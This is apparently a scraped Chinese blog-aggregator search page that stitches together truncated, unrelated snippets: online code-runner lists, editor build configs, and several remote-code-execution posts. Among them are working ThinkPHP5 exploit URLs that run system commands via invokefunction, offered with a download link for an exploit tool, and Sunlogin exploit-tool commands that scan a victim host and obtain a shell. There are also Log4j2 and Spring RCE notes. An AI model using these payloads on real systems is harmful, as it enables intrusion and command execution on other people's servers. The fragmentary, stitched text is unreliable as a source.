精华内容
下载资源
问答
  • 代码在线执行工具(PHP,Java,C++ 等)
    万次阅读
    2018-02-07 12:40:57

    http://code.y444.cn

    感谢留言的兄弟,这个网站非常棒,全屏体验非常好,支持 PHP/Java/C/C++/Golang/Python/Shell 等常用的语言。

    http://demo.php.cn/

    专门在线执行 PHP 代码的网站,快,代码窗口可以自动换行,但预览窗口不会自动换行,好在可以全屏预览。PHP 版本是 7.0.8。

    http://anycodes.cn/zh/

    可以在线执行各种语言,但是 PHP 的版本较低,低于 5.4 。
    优点:速度快,稳定,支持多个文件(目前是两个)。

    http://www.dooccn.com/php/

    可以在线执行多种语言,可以选择 PHP 的多个版本。php5.3 php5.4 php5.5 php5.6 php7。
    缺点:速度比较慢。

    http://www.it1352.com/Onlinetools

    支持几十种语言的在线运行。
    缺点:对请求频率限制太严格了,一分钟不到十次吧。。。可以清理浏览器 Cookie 之后重新访问。必须用示例中的 Rextester 类作为类名。
    可以嵌入到自己网站,比如 Java 嵌入语句如下:

    <iframe src="http://www.it1352.com/Onlinetools/OnlineCompileCommon/4?c_height=100&r_height=100&code=&autoExecute=true" style="width:520px;height:450px;"></iframe>
    

    参数: c_height—>【源码框高度】 r_height—>【结果框高度】 code—>【代码片段(需URL编码)】 autoExecute—>【是否自动执行】

    https://ideone.com

    在线执行代码,然后生成分享链接。可以把链接发给别人,也可以嵌入网页。
    优点:支持的语言多,版本新。PHP 版本是 7.1.0。
    比如,下面这个链接是我执行代码后生成的,
    https://ideone.com/uIdTu3,对应的分享 JavaScript 代码为 <script src="https://ideone.com/e.js/uIdTu3" type="text/javascript" ></script>

    https://tool.lu/coderunner/

    各种语言都可以在线执行,PHP 的版本是 5.4.16。
    登录后可以保存在线代码,可以嵌入博客。首页还有各种其他工具。
    缺点:不是很稳定,sandbox 经常挂掉。出现这一句 sandbox> exited with status 0 就表示已经挂掉了,需要刷新重连。

    这个应该是作者的博客
    tool.lu技术架构参考这里,摘抄如下:
    ####背景
    一个字,穷!在小流量的情况下,这个应该算是比较经济的解决方案了吧(各种容灾都没有,监控没有,服务的吞吐测试没有)。哈哈哈…
    ####后端的业务处理和服务
    整个的网站都放在aliyun的VPS上。
    由于工具网站的后端处理比较耗资源,于是将业务处理服务部署到了两台VPS上。(aliyun +1 & 美国 +1)
    Redis只是做了少量的缓存作用,所以图中并未给出。

    Untitled.png

    ####面对前端的一些优化
    cdn 现在全部都放在aliyun的VPS上。

    • 使用nginx的 nginx-http-concat 扩展合并多个文件请求。
    • http_image_filter_module 进行一些图片的实时压缩计算

    域名分别为 s1.tool.lu, s2.tool.lu, s3.tool.lu
    ####爬虫
    现在所有的爬虫均基于Scrapy编写,全部部署在 美国的vps上;数据储存在MariaDB。
    ####虚拟化
    主要用于一些不可信任代码的执行。

    选型Docker,可限制CPU和Mem,不能限制Disk,但是Docker在CentOS6.x下的问题较多,各种坑;最近使用CentOS7搭建之后貌似很Happy。

    更多相关内容
  • ThinkPHP5远程代码执行exp利用工具safe6

    千次阅读 2018-12-12 17:26:53
    危害:远程代码执行 目前,ThinkPHP已发布新版本修复此漏洞,请广大ThinkPHP站长尽快升级: https://blog.thinkphp.cn/869075   2018.12.11 说明: 漏洞检测,5.0和5.1都可以检测。 命令执行,文件上传只...

    影响范围:ThinkPHP 5.0 - 5.1版本。

    危害:远程代码执行

    目前,ThinkPHP已发布新版本修复此漏洞,请广大ThinkPHP站长尽快升级:

    https://blog.thinkphp.cn/869075

     

    2018.12.11

    说明:

    漏洞检测,5.0和5.1都可以检测。

    命令执行,文件上传只支持5.0版本tp。5.1和5.0利用大同小异,不打算写。这只是个练手作品,也勉强可以用。

    还是老样子,用bat打开,不然看不到日志输出。

    url:需要加http,不支持https检测。

    命令:命令就是系统命令,各位都懂。

    文件名:上传到服务器的文件名。

    好多回显没处理,勉强用吧

    网站被我不小心重置系统,月底重开。

    www.safe6.c

     

     

    免责声明:
    safe出品的所有程序,仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。

    5.1 的exp

    命令执行:
    http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令


    代码执行:
    http://url/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

     

    链接:https://pan.baidu.com/s/1dGazL6_INj85HhCt1yxIKA 提取码:r0aa 
     

    展开全文
  • 运行JavaScript代码片段的19种工具

    千次阅读 多人点赞 2020-11-26 17:08:59
    前端日常开发中,我们使用喜爱的 IDE 调试 JavaScript 代码,比如我喜欢的代码编辑器有两个,Sublime Text 3 和 VS Code,前几年还使用过 Atom,偶尔我们会遇到临时需要快速分享给同事或者朋友一段代码的场景,那么...

    前端日常开发中,我们使用喜爱的 IDE 调试 JavaScript 代码,比如我喜欢的代码编辑器有两个,Sublime Text 3 和 VS Code,前几年还使用过 Atom,偶尔我们会遇到临时需要快速分享给同事或者朋友一段代码的场景,那么在线的 JavaScript 运行环境的重要性就体现出来了。

    为了解决这样的问题,业界涌现出了很多很优秀的在线编辑器。比如 JS Bin、JS Fiddle、Code Pen、Code Sandbox 等,接触前端这些年也陆陆续续发现了一些不错的其他选择,再看下浏览器收藏夹,已经有20余种。

    下面我们使用20种工具执行一段经过尾递归优化过的阶乘函数

    运行JavaScript代码片段的19种工具

    1、使用 iTerm2

    在终端工具中安装 node 环境,使用 node 运行环境来执行 JS 代码是我们学习 node 时候必知必会的一件事!

    node环境

    2、使用 Sublime Text 3

    在 Sublime Text 3 中,我们可以使用 build system 来创建构建命令,使用构建命令来快速执行 JS 代码

    • 快捷键:CMD + B

    配置文件

    首先安装依赖 babel-cli

    npm i -g babel-cli

    新建 build system

    {
        "path": "/usr/local/bin",
        "working_dir": "${project_path:${folder}}",
        "selector": "source.js",
        "encoding": "utf-8",
        "shell": true,
        "windows": {
            "cmd": ["taskkill /f /im node.exe >nul 2>nul & node $file"]
        },
        "osx": {
            "cmd": ["killall node >/dev/null 2>&1; node $file"]
        },
        "linux": {
            "cmd": ["killall node >/dev/null 2>&1; node $file"]
        }
    }
    

    效果图

    3、使用 VSCode

    在 VSCode 中,我们可以建立一个 task 来运行 JS,实际上是借助内置终端来执行 node 命令运行JS!

    快捷键:CMD + Shift + B

    配置文件

    /.vscode/tasks.json

    {
      // See https://go.microsoft.com/fwlink/?LinkId=733558
      // for the documentation about the tasks.json format
      "version": "2.0.0",
      "tasks": [
        {
          "label": "Run ES6",
          "type": "shell",
          "command": "node ${file}",
          "group": {
            "kind": "build",
            "isDefault": true
          }
        }
      ]
    }
    

    运行JavaScript代码片段的19种工具

    4、使用浏览器控制台

    我们经常使用浏览器的 Console 功能来调试 JS 代码,比如 Chrome 的 DevTools,火狐的 Web 控制台,这些我们已经不陌生了。
    在这里插入图片描述

    5、使用 Firefox 代码草稿纸

    在 Firefox 浏览器中,有一个特别好用的功能叫 代码草稿纸,你可以在这里面输入一些 JS 代码执行查看结果。

    快捷键:在火狐浏览器下 Shift + F4
    运行JavaScript代码片段的19种工具

    6、使用 Chrome Sources 面板

    Chrome 提供了强大的 DevTools,其中 Sources 面板允许你建立一些 Snippets 方便执行 JS 代码

    快捷键:CMD + Enter 执行代码
    运行JavaScript代码片段的19种工具

    7、使用 JS Bin

    JS Bin 是一个开源的用于 debug web 应用的工具,工具面板具有 Console,可以用于执行 JS 代码。
    运行JavaScript代码片段的19种工具
    https://jsbin.com/lumawugivo/edit?js,console

    8、使用 CodePen

    CodePen 是一个非常棒的在线代码编辑器,几乎可以编写所有的前端Web应用。在这里使用它来执行一段 JS 代码真的是大材小用了。
    运行JavaScript代码片段的19种工具
    https://codepen.io/

    9、使用 MDN 的 “JavaScript Demo”

    经常查阅 MDN 的小伙伴一定能记得,在一些 JavaScript 文档中会有一个 JavaScript Demo小工具,比如说 JavaScript 标准内置对象 Function,在这里可以执行一些 JS 代码。
    https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function

    10、使用 PLAYCODE

    PLAYCODE 提供了在线快速运行服务 Web 程序的环境!
    运行JavaScript代码片段的19种工具
    https://playcode.io/

    11、使用 Flems

    Flems 提供了一个 Web 开发环境,可以分享一些前端小demo

    运行JavaScript代码片段的19种工具
    https://flems.io/

    12、使用 JSitor

    JSitor 是一个不错的在线执行方法。 JS 代码工具,我比较喜欢它的代码截图功能,能生存很漂亮的代码截图图片,不过目前功能还不是特别完善,比如代码的高亮暂时是个问题。
    在这里插入图片描述
    https://jsitor.com/

    13、使用 Code Sandbox

    Code Sandbox 是一个在线的可以创建Web应用,特点是可以使用一些类库模版,比如 React/Vue/Angular 是创作原型的好地方,我经常使用它来编写一些 Vue 小 Demo。
    运行JavaScript代码片段的19种工具
    https://codesandbox.io/

    14、使用 Web Maker

    Web Maker 是一个可以快速在浏览器创建离线Web应用,Web Maker 还提供了 Chrome 插件,可以离线使用!
    运行JavaScript代码片段的19种工具
    https://webmaker.app/

    15、使用 LeetCode Playground

    LeetCode 提供了优秀的 Playground 工具,支持各种语言版本切换,其中也支持 JavaScript,还能没事儿刷刷题不是
    运行JavaScript代码片段的19种工具
    https://leetcode-cn.com/

    16、使用 Repl.it

    Repl.it 是一个一站式可在线构建、协作的IDE,同时也提供了 Node 运行环境,还可以连接 github 使用 gist 同步代码片段!
    运行JavaScript代码片段的19种工具
    https://repl.it/

    17、使用 RunKit + npm

    RunKit + npm 在 npm 上我们能发现很多优秀的库,npm 提供了一个功能,可以使用 RunKit去运行测试你的 package,当然也能测试一段代码。
    运行JavaScript代码片段的19种工具
    https://npm.runkit.com/

    18、使用 StackBlitz

    StackBlitz 有在线 VSCode 之称,编辑器使用的是微软开源的 Monaco Editor,和 Code Sandbox 类似,提供了一些类库模版,已经完美支持Vue!
    运行JavaScript代码片段的19种工具

    https://stackblitz.com/

    19、使用 Plunker Next

    Plunker Next 新版的 Plunker 提供了在线创建小 demo 的能力,同时也便于分享
    运行JavaScript代码片段的19种工具
    https://plnkr.co/

    总结

    其实对于我而言,如果想运行一段代码得到测试结果,最快的方式会选用浏览器控制台,因为浏览器就是最棒的工具。

    如果想要写一个 demo 放在博客上,我会选择 jsfiddle、codepen、codesandbox,这里提供了写demo需要的一切。

    如果想分享漂亮的代码片段,我会使用 Carbonize 生成一张图片,就像博文开头的那张图片。

    使用在线编辑器的意义我觉得在于快捷、便于分享与协作,而最爱的其实还是VSCode。

    没准儿你正在编写你的 playground,或者你有更好的工具,希望留言和大家一起分享!

    感谢您的阅读,如果对您有帮助,欢迎关注"CRMEB"头条号。GitHub上有我们开源的商城项目,知识付费项目,均是基于PHP+vue开发,欢迎 Start、Fork,使用,关注我们保持联系!

    展开全文
  • 压缩包内包含代码及可执行程序。 vs2015 工程。 可直接运行 ./bin/release/ 下的exe,需要.net环境 工程由 https://download.csdn.net/download/boiciy/9879157 进行改编, 可以自定义行数,过滤自定义行等功能。
  • 向日葵远控远程代码执行漏洞工具

    千次阅读 2022-03-05 21:46:54
    向日葵远控远程代码执行漏洞工具

    漏洞简介

    向日葵个人版企业版均受影响 for Windows <=11.0.0.33

    SunloginClient 启动后会在 40000 以上随机开放一个web端口,认证有问题可以直接通过cgi-bin/rpc?action=verify-haras获取cid 执行回显rce
    测试向日葵客户端漏洞版本:11.0.0.33826

    复现过程

    环境说明

    攻击机:192.168.0.23(Window10)
    目标机:192.168.0.24(windows2012)
    
    测试向日葵客户端漏洞版本:11.0.0.33826
    
    
    

    image.png

    向日葵漏洞扫描工具下载地址

    扫描受害机漏洞端口

    sunrce.exe -h 192.168.0.24 -ps -shell
    

    image.png

    获取受害机shell

    sunrce.exe -h 192.168.0.24 -ps 49341 -shell
    

    image.png

    漏洞修复

    厂商已发布了漏洞修复程序,请及时关注更新

    原创不易,转载请注明出处
    原文链接:https://qu1u1.cn/archives/%E5%90%91%E6%97%A5%E8%91%B5%E8%BF%9C%E6%8E%A7%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%B7%A5%E5%85%B7

    展开全文
  • 推荐几个代码静态分析工具

    千次阅读 2021-04-26 00:24:44
    关注+星标公众号,不错过精彩内容作者 | strongerHuang微信公众号|嵌入式专栏大家平时写代码,有用代码静态分析工具进行分析吗?可能很多人都没有对代码进行过静态分析,今天就来...
  • 简单代码生成工具

    万次阅读 2021-07-21 15:39:46
    我们做项目的时候,经常会碰到写一些基础的增删改查代码,所以就写了个代码生成的工具,可根据自己的需求编写相应的代码模板。 大致思路 查询表信息,通过字段类型映射出 java 类型,然后通过模板生成 java 文件 ...
  • 本文是一个静态代码分析工具的清单,共有30个工具。包括4个.NET工具、2个Ada工具、7个C++工具、4个Java工具、2个JavaScript工具、1个Opa工具、2个Packaging工具、3个Perl工具、1个Python工具、1个嵌入式工具、2个二...
  • 程序静态分析(Program static analysis)是指在不执行代码情况下, 通过词法分析、语法分析、语义分析、控制流、数据流分析等技术对源代码进行扫描。
  • 1.漏洞描述 由于Spring处理流程存在缺陷,在JDK9...远程攻击者可利用该漏洞写入恶意代码导致远程代码执行。 2.影响版本 JDK >= 9 & 5.3.X < Spring Framework < 5.3.18 JDK >= 9 & 5.2.X ...
  • Apache Log4j 2 远程代码执行漏洞详解

    千次阅读 2021-12-11 11:43:08
    Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 ...
  • RCE代码命令执行

    千次阅读 2022-04-14 22:46:42
    代码执行(执行脚本代码) 命令执行(执行系统命令) 插一句不相关的 所有漏洞形成的条件 可控变量,漏洞函数 poc是用来检测有没有漏洞的 exp是用来利用漏洞的 代码执行 举例 <?php $code = $_GET['x']; eval...
  • 向日葵远程代码执行漏洞

    千次阅读 2022-02-21 17:19:11
    向日葵远程代码执行漏洞
  • log4j2远程代码执行漏洞复现

    千次阅读 2021-12-11 22:41:57
    log4j2远程代码执行漏洞复现-rmi方式代码侵入
  • 向日葵远程代码执行漏洞复现过程

    千次阅读 2022-02-25 18:18:08
    向日葵远程代码执行漏洞复现过程
  • 静态代码扫描工具汇总

    千次阅读 2019-11-22 09:44:42
    而静态代码扫描工具能够在代码构建过程中帮助开发人员快速、有效的定位代码缺陷并及时纠正这些潜在的问题。 通过调研,本文将着重介绍几款常用的静态代码扫描工具,这些工具分为几类: 轻量级静态代码扫描工具:Cpp...
  • sunlogin rce向日葵远程代码执行漏洞

    千次阅读 2022-02-17 10:13:23
    向日葵远程控制是一款...最近向日葵爆出了远程命令执行漏洞,复现如下 影响版本 向日葵客户端: 11.1.1 10.3.0.27372 11.0.0.33162 漏洞复现 向日葵客户端:10.3.0.27372 操作系统win7 x64 检测与利用工具
  • Windows下 C++代码检测工具

    千次阅读 2019-07-06 12:53:22
    最近在查阅一些windows系统下的C++代码及性能检测工具, 按照检测类别分别静态检测和动态检测。 静态检测: 在程序没有被实际执行的情况下执行的计算机软件分析,大部分是对源代码的分析和检测。 动态检测: 通过...
  • Java代码执行Linux命令

    千次阅读 2020-04-27 09:50:00
    2.创建一个Test.java类,并添加如下代码。 import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; import java.io.BufferedReader; import java.io.IOExcep...
  • 在源代码的静态安全审计中,使用自动化工具代替人工漏洞挖掘,可以显著提高审计工作的效率。学会利用自动化代码审计工具,是每一个代码审计人员必备的能力。在学习PHP源代码审计的过程中,本人搜集使用了多款自动化...
  • 手动添加太费时费力,在网上并没有找到合适的比较好的工具,就自己动手写了一个垃圾代码添加工具,命名为ChaosTool。 ChaosTool特点 - 自动定义变量/函数/属性 - 自动实现函数体 - 自动识别插入位置 - ...
  • 近日,华为云安全团队关注到Apache Log4j2 的远程代码执行最新漏洞。Apache Log4j2是一款业界广泛使用的基于Java的日志工具,该组件使用范围广泛,利用门槛低,漏洞危害极大。华为云安全在第一时间检测到漏洞状况并...
  • 远程命令执行漏洞的原理 远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端 没有针对执行函数做 过滤,导致在没有指定绝对...上传jsp木马所造成的远程代码执行漏洞。 知默认情况下是禁止http请求...
  • Apache Log4j任意代码执行复现一、工具二、靶场三、步骤总结 一、工具 JNDIExploit-1.2-SNAPSHOT.jar 二、靶场 看网页源码 猜测就是username和password为注入点 三、步骤 vps有java环境 java -jar JNDIExploit-1.2...
  • MyBatis-Plus代码自动生成工具

    万次阅读 多人点赞 2018-07-02 17:37:26
    MyBatis-Plus(简称MP)是一个 MyBatis的增强工具,在 Mybatis 的基础上只做增强不做改变,为简化开发、提高效率而生。 特性 无侵入:Mybatis-Plus 在 Mybatis 的基础上进行扩展,只做增强不做改变,引入 ...
  • *这是一款MYSQL数据库SQL语句执行监视工具。这款工具可以更好的帮助你看Mysql数据库所执行的SQL语句!此款工具可以用于开发者开发之中或者代码审计的时候使用。查看在某个操作,所执行的SQL语句,从而进行定位操作。...
  • Java调试技巧 打印代码执行时间方法

    万次阅读 2019-11-13 16:03:39
      在调试代码时,我们想知道代码执行时间,废话不多说,上代码,毫秒级检测 // 放在要检测的代码段前,取开始前的时间戳 Long startTime = System.currentTimeMillis(); // 放在要检测的代码段前,取结束后...
  • 环境:本实验使用vulfocus提供的Log4j2远程命令执行靶机。...由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。 影响版本: 经验证 2.15.0-rc1 版本存在绕.
  • 重复代码检查工具Simian

    千次阅读 2020-01-01 17:46:06
    Simian是一个可跨平台使用的重复代码检测工具,能够检测代码片段中除了空格、注释及换行外的内容是否完全一致,且支持的语言十分广泛 官网 Simian官网:http://www.harukizaemon.com/simian/index.html 下载 在...
  • 在 main 函数之前执行代码(C 语言)

    万次阅读 多人点赞 2021-09-07 16:05:04
    constructor 属性可以使函数在 main 函数之前执行

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,648,542
精华内容 659,416
关键字:

代码执行工具

友情链接: elf64_pack.zip